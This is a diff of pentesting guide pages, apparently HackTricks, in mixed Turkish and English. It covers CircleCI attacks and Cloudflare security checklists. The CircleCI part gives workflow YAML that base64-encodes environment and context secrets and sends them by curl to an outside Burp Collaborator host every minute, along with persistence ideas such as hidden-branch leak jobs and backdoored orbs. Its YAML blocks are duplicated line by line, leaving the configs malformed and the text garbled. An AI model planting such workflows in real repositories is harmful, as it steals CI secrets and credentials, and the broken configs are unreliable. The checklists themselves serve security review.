- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı oluşturabilirsiniz**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Bağlam Gizli Bilgilerini Sızdırma
|
||||
|
||||
**bağlam adını belirtmeniz gerekiyor** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır):
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, her **dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışını** sadece **değiştirebilirsiniz**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **bir circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**.
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
|
||||
#### Buluta Kaçış
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneğini sunar.\
|
||||
Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, eğer bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz.
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
|
||||
Önceki örneklerde her şeyin bir docker konteyneri içinde başlatıldığını unutmayın, ancak ayrıca **bir VM makinesi başlatmasını isteyebilirsiniz** (farklı bulut izinlerine sahip olabilir):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
Ya da uzaktan bir docker hizmetine erişimi olan bir docker konteyneri:
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
#### Süreklilik
|
||||
|
||||
- CircleCI'de **kullanıcı tokenleri oluşturmak** API uç noktalarına kullanıcı erişimi ile erişmek için mümkündür.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- **Proje tokenleri oluşturmak**, token'e verilen izinlerle projeye erişmek için mümkündür.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Projelere **SSH anahtarları eklemek** mümkündür.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Her gün tüm **context env** değişkenlerini **sızdıran** beklenmedik bir projede **gizli dalda bir cron işi oluşturmak** mümkündür.
|
||||
- Ya da her gün tüm context ve **projelerin gizli bilgilerini** **sızdıran** bilinen bir işi bir dalda oluşturmak / değiştirmek mümkündür.
|
||||
- Eğer bir github sahibiyseniz, **doğrulanmamış orb'leri** **izin verebilir** ve bir işi **arka kapı** olarak yapılandırabilirsiniz.
|
||||
- Bazı görevlerde bir **komut enjeksiyonu açığı** bulabilir ve bir **gizli** değerini değiştirerek **komutlar enjekte** edebilirsiniz.
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Cloudflare Güvenliği
|
||||
# Cloudflare Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bir Cloudflare hesabında bazı **genel ayarlar ve servisler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını** inceleyeceğiz:
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websiteler
|
||||
## Websites
|
||||
|
||||
Her birini şu kaynakla inceleyin:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,9 +16,9 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] **`Transfer Domains`** içinde herhangi bir domainin transfer edilemediğini kontrol edin.
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
|
||||
Her birini şu kaynakla inceleyin:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -26,45 +26,39 @@ cloudflare-domains.md
|
||||
|
||||
## Analytics
|
||||
|
||||
_Konfigürasyon güvenlik incelemesi için kontrol edilecek bir şey bulamadım._
|
||||
_I couldn't find anything to check for a config security review._
|
||||
|
||||
## Pages
|
||||
|
||||
Her Cloudflare Pages sitesi için:
|
||||
On each Cloudflare's page:
|
||||
|
||||
- [ ] **`Build log`** içinde **hassas bilgi** olup olmadığını kontrol edin.
|
||||
- [ ] Pages'e atanan **Github repository** içinde **hassas bilgi** olup olmadığını kontrol edin.
|
||||
- [ ] Potansiyel github repo compromise için **workflow command injection** veya `pull_request_target` compromise kontrolü yapın. Daha fazla bilgi için [**Github Security page**](../github-security/index.html).
|
||||
- [ ] `/fuctions` dizininde (varsa) **vulnerable functions** olup olmadığını, `_redirects` dosyasında (varsa) **redirects**i ve `_headers` dosyasında (varsa) **misconfigured headers**i kontrol edin.
|
||||
- [ ] **web page** üzerinde **vulnerabilities** için blackbox veya whitebox testleri yapın (koda erişebiliyorsanız).
|
||||
- [ ] Her sayfanın detaylarında `/<page_id>/pages/view/blocklist/settings/functions`. içinde **`Environment variables`** içinde **hassas bilgi** olup olmadığını kontrol edin.
|
||||
- [ ] Detay sayfasında ayrıca **build command** ve **root directory**'yi olası enjeksiyonlar için kontrol edin.
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Her Cloudflare Worker için kontrol edin:
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] Triggers: Worker'ı ne tetikliyor? Bir **kullanıcı veri gönderebiliyor** mu ve bu veri worker tarafından **kullanılıyor** mu?
|
||||
- [ ] **`Settings`** içinde **`Variables`** içinde **hassas bilgi** olup olmadığını kontrol edin
|
||||
- [ ] Worker kodunu kontrol edin ve **vulnerabilities** arayın (özellikle kullanıcı girdisinin işlendiği yerlerde)
|
||||
- SSRF dönen ve sizin kontrol edebileceğiniz sayfaları kontrol edin
|
||||
- svg içinde JS çalıştıran XSS'leri kontrol edin
|
||||
- Worker'ın diğer internal servislerle etkileşime girip girmediğini kontrol edin. Örneğin, bir worker gelen girdiden alınan bilgileri depolayan bir R2 bucket ile etkileşime girebilir. Bu durumda worker'ın R2 bucket üzerindeki yetkilerini ve kullanıcının girişi üzerinden nasıl kötüye kullanılabileceğini kontrol etmek gerekir.
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
Worker'ları pass-through proxy (IP rotation, FireProx-style) olarak kötüye kullanmaya dair pratik örnek için bakın:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
Her R2 bucket için kontrol edin:
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] **CORS Policy** yapılandırmasını kontrol edin.
|
||||
- [ ] Configure **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -76,8 +70,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] Mümkünse bir **`Security Insights`** **scan** ve bir **`Infrastructure`** **scan** çalıştırın; bunlar güvenlik açısından ilginç bilgileri **öne çıkarır**.
|
||||
- [ ] Bu bilgileri güvenlik konfigürasyon hataları ve ilginç bilgiler açısından inceleyin
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -94,41 +88,41 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Redirect ifadelerinin ve gereksinimlerinin mantıklı olduğundan emin olun.
|
||||
- [ ] Gizli ve ilginç bilgi içerebilecek **sensitive hidden endpoints** olup olmadığını kontrol edin.
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] **Notifications** ayarlarını kontrol edin. Güvenlik için önerilen bildirimler:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Tüm **destinations**i kontrol edin; webhook url'lerinde basic http auth gibi **hassas bilgi** olabilir. Ayrıca webhook url'lerinin **HTTPS** kullandığından emin olun.
|
||||
- [ ] Ek olarak, üçüncü taraflara gönderilen cloudflare bildirimlerini **taklit etmeyi** deneyebilirsiniz; belki bir şekilde **zararlı bir şey enjekte edebilirsiniz**.
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] **`Billing` -> `Payment info`** içinde kredi kartının **son 4 hanesini**, **son kullanma tarihini** ve **fatura adresini** görmek mümkündür.
|
||||
- [ ] **`Billing` -> `Subscriptions`** içinde hesapta kullanılan **plan türünü** görmek mümkündür.
|
||||
- [ ] **`Members`** içinde hesabın tüm üyelerini ve rolleri görebilirsiniz. Plan Enterprise değilse yalnızca 2 rol vardır: Administrator ve Super Administrator. Ancak kullanılan **plan Enterprise ise**, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) least privilege ilkesini uygulamak için kullanılabilir.
|
||||
- Bu nedenle, mümkün olduğunda **Enterprise plan** kullanılması **önerilir**.
|
||||
- [ ] Members içinde hangi **üyelerin** **2FA etkinleştirdiğini** kontrol etmek mümkündür. **Her** kullanıcıda 2FA etkin olmalıdır.
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
@@ -138,3 +132,6 @@ cloudflare-zero-trust-network.md
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,126 +1,126 @@
|
||||
# Cloudflare Alan Adları
|
||||
# Cloudflare Domains
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare'da yapılandırılan her TLD'de bazı **genel ayarlar ve hizmetler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Genel Bakış
|
||||
### Overview
|
||||
|
||||
- [ ] Hesabın hizmetlerinin **ne kadar** **kullanıldığını** anlamak
|
||||
- [ ] Ayrıca **zone ID** ve **account ID** bulmak
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
|
||||
### Analitik
|
||||
### Analytics
|
||||
|
||||
- [ ] **`Güvenlik`** bölümünde herhangi bir **Hız sınırlaması** olup olmadığını kontrol edin
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol edin
|
||||
- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol edin
|
||||
- [ ] **Proxylenmemiş** web sayfalarını kontrol edin
|
||||
- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol edin
|
||||
- [ ] **DNSSEC**'in **etkin** olduğunu kontrol edin
|
||||
- [ ] Tüm CNAME'lerde **CNAME Düzleştirme**'nin **kullanıldığını** kontrol edin
|
||||
- Bu, **alt alan adı ele geçirme açıklarını gizlemek** ve yükleme sürelerini iyileştirmek için faydalı olabilir
|
||||
- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing) kontrol edin
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **E-posta**
|
||||
### **Email**
|
||||
|
||||
TODO
|
||||
|
||||
### Spektrum
|
||||
### Spectrum
|
||||
|
||||
TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Genel Bakış**
|
||||
#### **Overview**
|
||||
|
||||
- [ ] **SSL/TLS şifrelemesi** **Tam** veya **Tam (Sıkı)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir.
|
||||
- [ ] **SSL/TLS Önerici** etkin olmalıdır
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
|
||||
#### Kenar Sertifikaları
|
||||
#### Edge Certificates
|
||||
|
||||
- [ ] **Her Zaman HTTPS Kullan** **etkin** olmalıdır
|
||||
- [ ] **HTTP Sıkı Taşıma Güvenliği (HSTS)** **etkin** olmalıdır
|
||||
- [ ] **Minimum TLS Sürümü 1.2** olmalıdır
|
||||
- [ ] **TLS 1.3 etkin** olmalıdır
|
||||
- [ ] **Otomatik HTTPS Yeniden Yazmaları** **etkin** olmalıdır
|
||||
- [ ] **Sertifika Şeffaflığı İzleme** **etkin** olmalıdır
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
|
||||
### **Güvenlik**
|
||||
### **Security**
|
||||
|
||||
- [ ] **`WAF`** bölümünde, **Firewall** ve **hız sınırlama kurallarının kullanıldığını** kontrol etmek ilginçtir.
|
||||
- **`Bypass`** eylemi, bir isteğin Cloudflare güvenlik özelliklerini **devre dışı bırakacaktır**. Kullanılmamalıdır.
|
||||
- [ ] **`Sayfa Kalkanı`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir
|
||||
- [ ] **`API Kalkanı`** bölümünde, Cloudflare'da herhangi bir API açığa çıkıyorsa **etkin** olduğunu kontrol etmek önerilir
|
||||
- [ ] **`DDoS`** bölümünde **DDoS korumalarının** etkinleştirilmesi önerilir
|
||||
- [ ] **`Ayarlar`** bölümünde:
|
||||
- [ ] **`Güvenlik Seviyesi`** **orta** veya daha yüksek olduğunu kontrol edin
|
||||
- [ ] **`Zorluk Süresi`** en fazla 1 saat olduğunu kontrol edin
|
||||
- [ ] **`Tarayıcı Bütünlüğü Kontrolü`** **etkin** olduğunu kontrol edin
|
||||
- [ ] **`Gizlilik Geçiş Desteği`** **etkin** olduğunu kontrol edin
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
|
||||
#### **CloudFlare DDoS Koruması**
|
||||
#### **CloudFlare DDoS Protection**
|
||||
|
||||
- Eğer mümkünse, **Bot Savaş Modu** veya **Süper Bot Savaş Modu**'nu etkinleştirin. Programlı olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön uç sayfasından). Bu erişimi bozmadığınız sürece bunu etkinleştiremeyebilirsiniz.
|
||||
- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **hız sınırlamaları** oluşturabilirsiniz (Hız sınırlama kuralları), veya IP, Çerez, yönlendiren vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya çerezi olmayan istekleri engelleyebilirsiniz.
|
||||
- Eğer saldırı **doğrulanmış bir bot** tarafından geliyorsa, en azından **botlar için bir hız sınırlaması** ekleyin.
|
||||
- Eğer saldırı **belirli bir yola** ise, önleme mekanizması olarak bu yolda bir **hız sınırlaması** ekleyin.
|
||||
- **Araçlar** bölümünde IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye** alabilirsiniz.
|
||||
- **Yönetilen kuralların** da zafiyet istismarlarını önlemeye yardımcı olup olmadığını kontrol edin.
|
||||
- **Araçlar** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya zorluk verme** yapabilirsiniz.
|
||||
- DDoS'da bazı kuralları **daha kısıtlayıcı hale getirmek için geçersiz kılabilirsiniz**.
|
||||
- **Ayarlar**: **Güvenlik Seviyesi**'ni **Yüksek** ve **Saldırı Altında** olarak ayarlayın eğer Saldırı Altındaysanız ve **Tarayıcı Bütünlüğü Kontrolü etkin** ise.
|
||||
- Cloudflare Alan Adları -> Analitik -> Güvenlik -> **hız sınırlamasının** etkin olup olmadığını kontrol edin
|
||||
- Cloudflare Alan Adları -> Güvenlik -> Olaylar -> **tespit edilen kötü niyetli Olaylar** için kontrol edin
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
|
||||
### Erişim
|
